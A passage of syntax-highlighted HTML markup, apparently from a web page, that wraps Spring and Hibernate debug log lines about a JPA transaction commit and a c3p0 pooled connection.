baseline;">:</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> com</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">mchange</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">v2</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">c3p0</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">impl</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">NewProxyConnection@1eb41d6</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Found</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> thread</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">-</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bound </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">for</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Initiating</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> transaction commit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Committing</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA transaction on </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">****[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Commit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">The</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; 